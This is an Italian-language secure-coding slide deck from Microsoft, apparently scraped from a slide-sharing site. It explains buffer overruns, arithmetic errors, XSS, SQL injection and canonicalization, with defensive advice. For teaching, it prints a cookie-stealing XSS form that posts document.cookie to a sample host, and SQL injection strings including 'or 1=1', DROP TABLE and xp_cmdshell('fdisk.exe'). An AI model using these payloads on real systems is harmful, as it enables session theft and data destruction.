Scaricare la presentazione
La presentazione è in caricamento. Aspetta per favore
2
Scrivere codice sicuro
Fabio Santini .NET Senior Developer Evangelist Microsoft Italy
3
Agenda Buffer Overruns Errori aritmetici CSS (Cross-Site Scripting)
SQL Injection Canonicalization Isolated Storage ViewState
4
La necessità di codice protetto
"Il recente attacco di un hacker potrebbe aver causato danni a circa 1500 siti Web” “Porto USA colpito da un hacker inglese” “La pirateria ha causato la perdita di posti di lavoro ed ha provocato danni per 850 milioni di dollari” “Diverse aziende hanno dichiarato di aver perso 10 milioni di dollari in un solo attacco” “Il virus Sobig ha provocato in tutto il mondo danni pari a 30 miliardi di dollari” “Gli attacchi costeranno all'economia mondiale 1,6 trilioni di dollari quest'anno”
5
Cos'è un Buffer Overrun Si verifica quando i dati superano la dimensione prevista e sovrascrivono altri valori È frequente soprattutto nel codice C/C++ non gestito Può essere di quattro tipi: buffer overrun basato sullo stack buffer overrun dell'heap Sovrascrittura della v-table e del puntatore a funzione Sovrascrittura del gestore eccezioni Può essere sfruttato dai worm
6
Possibile conseguenza
Possibili conseguenze dei sovraccarichi buffer Possibile conseguenza Obiettivo dell'hacker Violazione dell'accesso Realizzare gli attacchi DoS (denial of service) contro i server Instabilità Interferire con il normale funzionamento del software Inserimento di codice Ottenere privilegi per il proprio codice Sfruttare dati aziendali di vitale importanza Eseguire azioni distruttive
7
Esempio di sovraccarico buffer basato sullo stack
Parte superiore dello stack void UnSafe (const char* uncheckedData) { int anotherLocalVariable; strcpy (localVariable, uncheckedData); } char localVariable[4]; char[4] int Indirizzo di ritorno
8
I buffer overrun dell'heap
Sovrascrivono i dati memorizzati nell'heap Sono più difficili da sfruttare di un buffer overrun Dati Puntatore strcpy xxxxxxx xxxxxxx
9
Come difendersi dai buffer overrun (1 di 2)
Utilizzare con particolare cautela le seguenti funzioni: strcpy strncpy CopyMemory MultiByteToWideChar Utilizzare l'opzione di compilazione /GS in Visual C++ per individuare i sovraccarichi buffer Utilizzare strsafe.h per un gestione del buffer più sicura
10
Come difendersi dai buffer overrun (2 di 2)
11
DEMO
12
Gli errori aritmetici Si verificano quando vengono superati i limiti di una variabile Causano gravi errori in fase di esecuzione Vengono spesso sottovalutati Includono: Overflow – valore troppo grande per il tipo di dati Underflow – valore troppo piccolo per il tipo di dati
13
Come difendersi dagli errori aritmetici
Tenere conto dei limiti del tipo di dati scelto Scrivere codice a prova di attacchi che verifichi la presenza di overflow Scrivere funzioni sicure e riutilizzabili Utilizzare una classe sicura basata su modello (se si scrive codice in C++)
14
DEMO
15
Cos'è il CSS? Una tecnica che consente agli hacker di:
Eseguire script dannoso nel browser Web di un client Inserire tag <script>, <object>, <applet>, <form> e <embed> Rubare informazioni sulla sessione Web e cookie di autenticazione Accedere al computer client Qualsiasi pagina Web che esegue il rendering HTML e contenente input dell'utente è vulnerabile
16
Due impieghi comuni del CSS
Attaccare le piattaforme di posta elettronica basate sul Web e i forum Utilizzo dei tag <form> HTML per reindirizzare informazioni private
17
Attacchi basati su form (1 di 2)
Response.Write("Welcome" & Request.QueryString("UserName"))
18
Attacchi basati su form (2 di 2)
<a href= <FORM action= nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > here </a>
19
Come difendersi dagli attacchi CSS
Operazioni da non eseguire: Considerare attendibile l'input dell'utente Attivare l'eco dell'input dell'utente basato sul Web a meno che non sia stato convalidato Memorizzare informazioni segrete nei cookie Operazioni da eseguire: Utilizzare l'opzione del cookie HttpOnly Sfruttare le funzionalità di ASP.NET
20
DEMO
21
Cos'è l'SQL Injection? L'SQL Injection è:
L'aggiunta di istruzioni SQL nell'input dell'utente Viene utilizzato dagli hacker per: Effettuare la scansione dei database Ignorare l'autorizzazione Eseguire più istruzioni SQL Richiamare stored procedure incorporate
22
Esempi di SQL Injection
sqlString = "SELECT HasShipped FROM" + " OrderDetail WHERE OrderID ='" + ID + "'"; Se la variabile ID viene letta direttamente da una casella di testo di un Web Form o di un form di Windows, l'utente potrebbe immettere: ALFKI1001 ALFKI1001' or 1=1 -- ALFKI1001' DROP TABLE OrderDetail -- ALFKI1001' exec xp_cmdshell('fdisk.exe') --
23
Come difendersi dall'SQL Injection
Verificare che l'input non sia infetto. Considerare tutto l'input pericoloso fino a quando non viene dimostrato il contrario Cercare dati validi e respingere tutto il resto Utilizzare espressioni regolari per rimuovere i caratteri indesiderati Eseguire con i privilegi più bassi Non eseguire mai come “sa” Limitare l'accesso a stored procedure incorporate Utilizzare stored procedure o query con parametri SQL per accedere ai dati Non attivare l'eco di errori ODBC
24
DEMO
25
Problemi di Canonicalization
Generalmente esistono più metodi per assegnare i nomi Sono disponibili rappresentazioni alternative per: Nomi file URL Periferiche (ad esempio stampanti) Gli hacker possono sfruttare il codice che consente di effettuare determinate operazioni in base ai nomi file o agli URL
26
Problemi di Canonicalization Esempio 1 – Nomi file
MyLongFile.txt MyLongFile.txt. MyLong~1.txt MyLongFile.txt::$DATA
27
Problemi di Canonicalization Esempio 2 – Rappresentazione dei caratteri
Esistono molti modi per rappresentare i caratteri su Internet Equivale a - =
28
DEMO
29
© 2002 Microsoft Corporation. All rights reserved.
This presentation is for informational purposes only. MICROSOFT MAKES NO WARRANTIES, EXPRESS OR IMPLIED, IN THIS SUMMARY.
Presentazioni simili
© 2024 SlidePlayer.it Inc.
All rights reserved.